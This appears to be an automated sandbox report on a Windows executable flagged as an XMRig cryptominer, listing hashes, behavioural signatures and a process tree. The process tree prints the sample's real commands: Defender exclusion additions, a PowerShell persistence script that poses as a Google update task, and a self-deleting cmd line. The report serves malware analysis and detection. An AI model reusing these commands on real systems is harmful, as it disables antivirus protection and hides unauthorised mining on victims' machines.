Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1798s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3428 created 3492 3428 3JynzWc6LxNCT2y8.exe 57 PID 3428 created 3492 3428 3JynzWc6LxNCT2y8.exe 57 PID 3428 created 3492 3428 3JynzWc6LxNCT2y8.exe 57 PID 3428 created 3492 3428 3JynzWc6LxNCT2y8.exe 57 PID 1380 created 3492 1380 updater.exe 57 PID 1380 created 3492 1380 updater.exe 57 PID 1380 created 3492 1380 updater.exe 57 PID 1380 created 3492 1380 updater.exe 57 PID 884 created 3492 884 conhost.exe 57 PID 1380 created 3492 1380 updater.exe 57 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral2/memory/3572-127-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-131-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-134-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-133-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-136-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-140-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-142-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-144-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-146-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-148-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-150-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-152-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-154-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-156-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-158-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-160-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-162-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-164-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-166-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-168-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-170-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-172-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-174-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-176-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-178-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-180-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-182-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-184-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-186-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig behavioral2/memory/3572-188-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1380 updater.exe -
resource yara_rule behavioral2/memory/3572-123-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-127-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-131-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-134-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-133-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-136-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-140-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-142-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-144-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-146-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-148-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-150-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-152-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-154-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-156-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-158-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-160-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-162-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-164-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-166-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-168-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-170-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-172-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-174-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-176-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-178-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-180-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-182-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-184-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-186-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx behavioral2/memory/3572-188-0x00007FF6E1810000-0x00007FF6E2004000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1380 set thread context of 884 1380 updater.exe 116 PID 1380 set thread context of 3572 1380 updater.exe 110 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1148 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3428 3JynzWc6LxNCT2y8.exe 3428 3JynzWc6LxNCT2y8.exe 4180 powershell.exe 4180 powershell.exe 3428 3JynzWc6LxNCT2y8.exe 3428 3JynzWc6LxNCT2y8.exe 1868 powershell.exe 1868 powershell.exe 3428 3JynzWc6LxNCT2y8.exe 3428 3JynzWc6LxNCT2y8.exe 3428 3JynzWc6LxNCT2y8.exe 3428 3JynzWc6LxNCT2y8.exe 2080 powershell.exe 2080 powershell.exe 1380 updater.exe 1380 updater.exe 4632 powershell.exe 4632 powershell.exe 1380 updater.exe 1380 updater.exe 4128 powershell.exe 4128 powershell.exe 1380 updater.exe 1380 updater.exe 1380 updater.exe 1380 updater.exe 884 conhost.exe 884 conhost.exe 1380 updater.exe 1380 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4180 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeIncreaseQuotaPrivilege 1868 powershell.exe Token: SeSecurityPrivilege 1868 powershell.exe Token: SeTakeOwnershipPrivilege 1868 powershell.exe Token: SeLoadDriverPrivilege 1868 powershell.exe Token: SeSystemProfilePrivilege 1868 powershell.exe Token: SeSystemtimePrivilege 1868 powershell.exe Token: SeProfSingleProcessPrivilege 1868 powershell.exe Token: SeIncBasePriorityPrivilege 1868 powershell.exe Token: SeCreatePagefilePrivilege 1868 powershell.exe Token: SeBackupPrivilege 1868 powershell.exe Token: SeRestorePrivilege 1868 powershell.exe Token: SeShutdownPrivilege 1868 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeSystemEnvironmentPrivilege 1868 powershell.exe Token: SeRemoteShutdownPrivilege 1868 powershell.exe Token: SeUndockPrivilege 1868 powershell.exe Token: SeManageVolumePrivilege 1868 powershell.exe Token: 33 1868 powershell.exe Token: 34 1868 powershell.exe Token: 35 1868 powershell.exe Token: 36 1868 powershell.exe Token: SeIncreaseQuotaPrivilege 1868 powershell.exe Token: SeSecurityPrivilege 1868 powershell.exe Token: SeTakeOwnershipPrivilege 1868 powershell.exe Token: SeLoadDriverPrivilege 1868 powershell.exe Token: SeSystemProfilePrivilege 1868 powershell.exe Token: SeSystemtimePrivilege 1868 powershell.exe Token: SeProfSingleProcessPrivilege 1868 powershell.exe Token: SeIncBasePriorityPrivilege 1868 powershell.exe Token: SeCreatePagefilePrivilege 1868 powershell.exe Token: SeBackupPrivilege 1868 powershell.exe Token: SeRestorePrivilege 1868 powershell.exe Token: SeShutdownPrivilege 1868 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeSystemEnvironmentPrivilege 1868 powershell.exe Token: SeRemoteShutdownPrivilege 1868 powershell.exe Token: SeUndockPrivilege 1868 powershell.exe Token: SeManageVolumePrivilege 1868 powershell.exe Token: 33 1868 powershell.exe Token: 34 1868 powershell.exe Token: 35 1868 powershell.exe Token: 36 1868 powershell.exe Token: SeIncreaseQuotaPrivilege 1868 powershell.exe Token: SeSecurityPrivilege 1868 powershell.exe Token: SeTakeOwnershipPrivilege 1868 powershell.exe Token: SeLoadDriverPrivilege 1868 powershell.exe Token: SeSystemProfilePrivilege 1868 powershell.exe Token: SeSystemtimePrivilege 1868 powershell.exe Token: SeProfSingleProcessPrivilege 1868 powershell.exe Token: SeIncBasePriorityPrivilege 1868 powershell.exe Token: SeCreatePagefilePrivilege 1868 powershell.exe Token: SeBackupPrivilege 1868 powershell.exe Token: SeRestorePrivilege 1868 powershell.exe Token: SeShutdownPrivilege 1868 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeSystemEnvironmentPrivilege 1868 powershell.exe Token: SeRemoteShutdownPrivilege 1868 powershell.exe Token: SeUndockPrivilege 1868 powershell.exe Token: SeManageVolumePrivilege 1868 powershell.exe Token: 33 1868 powershell.exe Token: 34 1868 powershell.exe Token: 35 1868 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 412 wrote to memory of 1228 412 cmd.exe 98 PID 412 wrote to memory of 1228 412 cmd.exe 98 PID 2080 wrote to memory of 4036 2080 powershell.exe 100 PID 2080 wrote to memory of 4036 2080 powershell.exe 100 PID 1380 wrote to memory of 884 1380 updater.exe 116 PID 3916 wrote to memory of 1148 3916 cmd.exe 111 PID 3916 wrote to memory of 1148 3916 cmd.exe 111 PID 1380 wrote to memory of 3572 1380 updater.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3492
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3428
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1868
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:412
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4632
